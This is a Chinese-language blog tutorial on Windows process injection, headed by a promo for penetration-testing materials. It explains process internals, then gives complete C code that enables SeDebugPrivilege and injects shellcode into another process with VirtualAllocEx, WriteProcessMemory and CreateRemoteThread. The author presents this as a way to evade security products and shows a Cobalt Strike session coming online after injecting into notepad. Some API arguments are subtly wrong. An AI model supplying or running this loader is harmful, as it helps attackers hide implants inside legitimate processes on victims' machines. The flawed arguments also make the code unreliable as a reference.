关注公众号回复20231110获取最新网络安全以及内网渗透等资料。
文章目录
- 关注公众号回复20231110获取最新网络安全以及内网渗透等资料。
- 进程注入
- 进程注入是什么?
- windows进程
- 虚拟地址空间
- 句柄
- Tokens
- 线程数
- 特权
- shellcode注入
进程注入
进程注入是什么?
攻击者将代码注入到进程中,以逃避基于进程的防御,并且提升相应的权限。进程注入是一种在单独的活动进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码可能允许访问该进程的内存、系统/网络资源以及可能提升的权限。通过进程注入执行也可能逃避安全产品的检测,因为执行被隐藏在合法进程下。
其实本质来说就是将恶意代码注入到另一个进程中。
windows进程
对于要运行的进程,它必须有一个正在运行的线程,该线程是运行代码的组件。
虚拟地址空间
私有虚拟地址空间是进程可以访问的内存,它被认为是“私有”,这意味着只有该进程可以看到该地址空间。为了共享地址空间,该内存将被映射到磁盘上并以这种方式共享。但这对于我们现在所需要的并不重要。
句柄
句柄是我们很快就会重新讨论的东西,所以现在我们只需要记住它们是代表系统资源的对象。
句柄可以是文件,线程数,流程,ETC等等。
Tokens
目前每个进程都需要一个Access Token。它负责设置进程的安全上下文,随后将继承其运行用户的所有访问控制。
线程数
线程是执行代码的进程的组件,由内核调度来执行代码。线程负责维护CPU寄存器的状态、当前的安全上下文、进程的状态等。
线程数可以在thread中看到。
特权
特权其实就是让进程知道自己可以执行那些系统操作。
例如在Security中可以看到到当前进程的特权。
我们都知道如果想要让进程去访问另外一个进程的话,就需要开启SeDebugPrivilege特权。
例如我们注入svchost这个进程。
修改SeDebugPrivilege特权代码如下:
#include<Windows.h>
#include<stdio.h>
BOOL EnableSeDebugPrivilege() {
HANDLE Token;
LUID LuidValue = { 0 };
TOKEN_PRIVILEGES TP = { 0 };
BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
if (Aret == NULL) {
printf("GetTokenHandle Fail\n");
return FALSE;
}
BOOL Bret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &LuidValue);
if (Bret == NULL) {
printf("LookupPrivilegeValue Fail\n");
return FALSE;
}
TP.PrivilegeCount = 1;
TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid = LuidValue;
BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
if (GetLastError() == ERROR_SUCCESS) {
printf("AdjustToken Success\n");
return TRUE;
}
printf("AdjustToken Fail\n");
printf("ErrorCode: %d\n", GetLastError());
return FALSE;
}
int main() {
EnableSeDebugPrivilege();
system("cmd");
return 0;
}
shellcode注入
首先我们需要获取到远程进程的句柄,这里通过OpenProcess来实现。
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
这里的第一个参数就是我们需要对该进程的访问权限。
如下:
PROCESS_CREATE_THREAD:创建线程的权限。
PROCESS_VM_OPERATION:需要对远程进程的地址空间执行操作。
PROCESS_VM_WRITE:向远程进程写入内存的权限。
这里我们也可以通过PROCESS_ALL_ACCESS来进行设置。
下一个参数表示我们是否要继承其他进程的句柄,这里我们一般给定FALSE即可。
最后一个参数就是你要访问进程的PID。
如下代码:
DWORD pid = 1234;
HANDLE hp;
hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
if (!hp) {
printf("faild success Process Handle");
}
printf("success Process Handle");
现在我们已经有进程的句柄了,我们就可以使用VirtualAllocEx申请我们的shellcode。
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
第一个参数就是我们上面打开的那个句柄,也就是hp,第二个参数一般给定为nullptr,第三个参数就是我们shellcode的大小,第四个参数设置为MEM_COMMIT|MEM_RESERVE,最后一个参数设置为PAGE_EXECUTE_READWRITE即可。
#include<Windows.h>
#include<stdio.h>
unsigned char payload[295984] = { 0x9c };
SIZE_T payload_len = sizeof(payload);
int main() {
DWORD pid = 1234;
LPVOID Address;
HANDLE hp;
hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
if (!hp) {
printf("faild success Process Handle");
}
printf("success Process Handle");
Address = VirtualAllocEx(hp,nullptr,payload_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if (!Address) {
printf("内存分配失败");
}
printf("内存分配成功");
}
现在已经申请完内存了,现在只要写shellcode就可以了。
这里使用WriteProcessMemory 函数来进行编写。
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
这里的第一个参数就是我们进程的句柄,第二个参数就是我们使用VirtualAllocEx申请的地址,第三个参数就是shellcode,第四个参数表示shellcode的大小,最后一个参数就是写入字节数的输出参数。
#include<Windows.h>
#include<stdio.h>
unsigned char payload[295984] = { 0x9c };
SIZE_T payload_len = sizeof(payload);
int main() {
DWORD pid = 1234;
LPVOID Address;
HANDLE hp;
SIZE_T bytesWritten;
hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
if (!hp) {
printf("faild success Process Handle");
}
printf("success Process Handle");
Address = VirtualAllocEx(hp,nullptr,payload_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if (!Address) {
printf("内存分配失败");
}
printf("内存分配成功");
WriteProcessMemory(hp,Address,payload,payload_len,&bytesWritten);
}
紧接着就是创建线程然后执行了。
这里创建线程使用CreateRemoteThread函数即可。
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
这里的第一个参数还是跟上面一样进程的句柄,第二个参数设置为nullptr,第三个参数就是shellcode的大小,第四个参数表示指向一个应用程序定义的函数的指针,这个参数的类型为 LPTHREAD_START_ROUTINE,
完整代码:
unsigned char payload[277214] = {shellcode};
SIZE_T payload_len = sizeof(payload);
int main() {
DWORD pid = 6624;
LPVOID Address;
HANDLE hp;
SIZE_T bytesWritten;
DWORD id = 0;
hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
if (!hp) {
printf("faild success Process Handle");
}
printf("success Process Handle");
Address = VirtualAllocEx(hp,nullptr,payload_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if (!Address) {
printf("内存分配失败");
}
printf("内存分配成功");
WriteProcessMemory(hp,Address,payload,payload_len,&bytesWritten);
CreateRemoteThread(hp,nullptr,payload_len,(LPTHREAD_START_ROUTINE)Address, nullptr, GENERIC_EXECUTE, &pid);
printf("id=%d", id);
}
这里我们注入的是notepad,这里我们观察一下进程。
这里目前是6个线程。
我们现在进行注入。
可以看到它加了5个线程。
而我们的CS已经上线了。